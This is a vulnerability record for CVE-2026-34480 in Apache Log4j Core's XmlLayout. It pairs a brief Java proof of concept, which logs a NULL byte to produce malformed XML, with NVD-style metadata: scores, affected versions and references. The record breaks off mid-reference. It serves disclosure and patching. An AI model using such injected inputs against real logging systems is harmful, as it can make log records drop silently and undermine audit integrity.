CVE-2026-34480

import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class CVE202634480Poc { private static final Logger logger = LogManager.getLogger(CVE202634480Poc.class); public static void main(String[] args) { // XML 1.0 forbidden character (NULL byte) String maliciousInput = "Normal log text " + "\u0000" + " more text"; // Trigger the vulnerability by logging the forbidden character // This will cause malformed XML output or throw an exception logger.info("User input: {}", maliciousInput); } }

{"cve": {"id": "CVE-2026-34480", "sourceIdentifier": "[email protected]", "published": "2026-04-10T16:16:31.463", "lastModified": "2026-04-24T18:21:54.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apache Log4j Core's XmlLayout https://logging.apache.org/log4j/2.x/manual/layouts.html#XmlLayout , in versions up to and including 2.25.3, fails to sanitize characters forbidden by the XML 1.0 specification https://www.w3.org/TR/xml/#charsets producing invalid XML output whenever a log message or MDC value contains such characters.\n\nThe impact depends on the StAX implementation in use:\n\n * JRE built-in StAX: Forbidden characters are silently written to the output, producing malformed XML. Conforming parsers must reject such documents with a fatal error, which may cause downstream log-processing systems to drop the affected records.\n * Alternative StAX implementations (e.g., Woodstox https://github.com/FasterXML/woodstox , a transitive dependency of the Jackson XML Dataformat module): An exception is thrown during the logging call, and the log event is never delivered to its intended appender, only to Log4j's internal status logger.\n\n\nUsers are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue by sanitizing forbidden characters before XML output."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-116"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0", "versionEndExcluding": "2.25.4", "matchCriteriaId": "EB58E4E0-0D2E-4565-9436-5191B31DEB6B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "5EE518C3-2F43-40FF-B754-C340B7003FC7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:alpha1_rc1:*:*:*:*:*:*", "matchCriteriaId": "6D2A01C1-D56C-4198-8ADB-11739F791E2B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:alpha1_rc2:*:*:*:*:*:*", "matchCriteriaId": "D6F8BD61-DD30-4D64-842C-850E5B117036"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "ED00C38D-27EA-489C-9A2B-3594ACA8A3C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "8794D719-1D90-4378-B48B-698EA40FBFB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:3.0.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "74C9FCBD-ECAD-4C29-B97A-2B9D97C0FC1F"}]}]}], "references": [{"url": "https://github.com/apache/logging-log4j2/pull/4077", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://lists.apache.org/thread/5x0hcnng0chhghp6jgjdp3qmbbhfjzhb", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "https://logging.apache.org/cyc ... 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